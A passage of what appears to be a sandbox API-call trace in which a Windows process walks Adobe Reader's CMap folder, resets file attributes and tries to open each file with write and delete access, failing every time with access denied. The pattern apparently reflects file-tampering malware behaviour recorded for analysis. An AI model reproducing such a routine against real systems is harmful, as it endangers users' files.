(x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-V", dwFileAttributes=0x20) returned 0 [0175.683] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.683] GetLastError () returned 0x5 [0175.683] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-V", dwFileAttributes=0x20) returned 0 [0175.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.683] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETenms-B5-H", cAlternateFileName="ETENMS~1")) returned 1 [0175.684] wcscmp (_String1="ETenms-B5-H", _String2=".") returned 1 [0175.684] wcscmp (_String1="ETenms-B5-H", _String2="..") returned 1 [0175.684] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced3460 [0175.684] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.684] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.684] wcscat (in: _Dest=0x1ced3460, _Source="ETenms-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-H" [0175.684] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\etenms-b5-h")) returned 0x20 [0175.684] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-H", dwFileAttributes=0x20) returned 0 [0175.684] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\etenms-b5-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.684] GetLastError () returned 0x5 [0175.684] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-H", dwFileAttributes=0x20) returned 0 [0175.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.685] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc89, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETenms-B5-V", cAlternateFileName="ETENMS~2")) returned 1 [0175.685] wcscmp (_String1="ETenms-B5-V", _String2=".") returned 1 [0175.685] wcscmp (_String1="ETenms-B5-V", _String2="..") returned 1 [0175.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1ced3460 [0175.685] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.685] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.685] wcscat (in: _Dest=0x1ced3460, _Source="ETenms-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-V" [0175.686] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\etenms-b5-v")) returned 0x20 [0175.686] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-V", dwFileAttributes=0x20) returned 0 [0175.687] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\etenms-b5-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.687] GetLastError () returned 0x5 [0175.687] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-V", dwFileAttributes=0x20) returned 0 [0175.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.687] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6017, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETHK-B5-H", cAlternateFileName="ETHK-B~1")) returned 1 [0175.687] wcscmp (_String1="ETHK-B5-H", _String2=".") returned 1 [0175.687] wcscmp (_String1="ETHK-B5-H", _String2="..") returned 1 [0175.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced3460 [0175.688] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.688] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.688] wcscat (in: _Dest=0x1ced3460, _Source="ETHK-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-H" [0175.688] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ethk-b5-h")) returned 0x20 [0175.688] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-H", dwFileAttributes=0x20) returned 0 [0175.688] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ethk-b5-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.688] GetLastError () returned 0x5 [0175.688] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-H", dwFileAttributes=0x20) returned 0 [0175.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.689] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETHK-B5-V", cAlternateFileName="ETHK-B~2")) returned 1 [0175.689] wcscmp (_String1="ETHK-B5-V", _String2=".") returned 1 [0175.689] wcscmp (_String1="ETHK-B5-V", _String2="..") returned 1 [0175.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1ced3460 [0175.689] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.689] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.689] wcscat (in: _Dest=0x1ced3460, _Source="ETHK-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-V" [0175.690] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ethk-b5-v")) returned 0x20 [0175.690] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-V", dwFileAttributes=0x20) returned 0 [0175.690] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ethk-b5-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.690] GetLastError () returned 0x5 [0175.690] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-V", dwFileAttributes=0x20) returned 0 [0175.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.690] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUC-H", cAlternateFileName="")) returned 1 [0175.690] wcscmp (_String1="EUC-H", _String2=".") returned 1 [0175.690] wcscmp (_String1="EUC-H", _String2="..") returned 1 [0175.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ced3460 [0175.691] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.691] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.691] wcscat (in: _Dest=0x1ced3460, _Source="EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-H" [0175.691] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\euc-h")) returned 0x20 [0175.691] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-H", dwFileAttributes=0x20) returned 0 [0175.691] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\euc-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.691] GetLastError () returned 0x5 [0175.691] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-H", dwFileAttributes=0x20) returned 0 [0175.692] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.692] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd45, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUC-V", cAlternateFileName="")) returned 1 [0175.692] wcscmp (_String1="EUC-V", _String2=".") returned 1 [0175.692] wcscmp (_String1="EUC-V", _String2="..") returned 1 [0175.692] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1ced3460 [0175.692] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.692] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.692] wcscat (in: _Dest=0x1ced3460, _Source="EUC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-V" [0175.692] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\euc-v")) returned 0x20 [0175.693] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-V", dwFileAttributes=0x20) returned 0 [0175.693] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\euc-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.694] GetLastError () returned 0x5 [0175.694] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-V", dwFileAttributes=0x20) returned 0 [0175.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.694] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x403c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ext-RKSJ-H", cAlternateFileName="EXT-RK~1")) returned 1 [0175.694] wcscmp (_String1="Ext-RKSJ-H", _String2=".") returned 1 [0175.694] wcscmp (_String1="Ext-RKSJ-H", _String2="..") returned 1 [0175.694] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3460 [0175.694] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.694] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.694] wcscat (in: _Dest=0x1ced3460, _Source="Ext-RKSJ-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-H" [0175.695] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ext-rksj-h")) returned 0x20 [0175.695] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-H", dwFileAttributes=0x20) returned 0 [0175.695] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ext-rksj-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.695] GetLastError () returned 0x5 [0175.695] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-H", dwFileAttributes=0x20) returned 0 [0175.695] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.695] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ext-RKSJ-V", cAlternateFileName="EXT-RK~2")) returned 1 [0175.695] wcscmp (_String1="Ext-RKSJ-V", _String2=".") returned 1 [0175.695] wcscmp (_String1="Ext-RKSJ-V", _String2="..") returned 1 [0175.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1ced3460 [0175.696] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.696] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.696] wcscat (in: _Dest=0x1ced3460, _Source="Ext-RKSJ-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-V" [0175.696] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ext-rksj-v")) returned 0x20 [0175.696] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-V", dwFileAttributes=0x20) returned 0 [0175.696] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ext-rksj-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.696] GetLastError () returned 0x5 [0175.696] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-V", dwFileAttributes=0x20) returned 0 [0175.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.697] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-EUC-H", cAlternateFileName="")) returned 1 [0175.697] wcscmp (_String1="GB-EUC-H", _String2=".") returned 1 [0175.697] wcscmp (_String1="GB-EUC-H", _String2="..") returned 1 [0175.697] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1ced3460 [0175.697] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.697] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.697] wcscat (in: _Dest=0x1ced3460, _Source="GB-EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-H" [0175.697] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gb-euc-h")) returned 0x20 [0175.698] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-H", dwFileAttributes=0x20) returned 0 [0175.698] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gb-euc-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0175.698] GetLastError () returned 0x5 [0175.698] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-H", dwFileAttributes=0x20) returned 0 [0175.699] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced3460) returned 1 [0175.699] FindNextFileW (in: hFindFile=0x1cd86250, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-EUC-V", cAlternateFileName="")) returned 1 [0175.699] wcscmp (_String1="GB-EUC-V", _String2=".") returned 1 [0175.699] wcscmp (_String1="GB-EUC-V", _String2="..") returned 1 [0175.699] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1ced3460 [0175.699] wcscpy (in: _Dest=0x1ced3460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0175.699] wcscat (in: _Dest=0x1ced3460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0175.699] wcscat (in: _Dest=0x1ced3460, _Source="GB-EUC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-V" [0175.699] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gb-euc-v")) returned 0x20 [0175.700] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-V", dwFileAttributes=0x20) returned 0 [0175.700] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gb-euc-v"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, 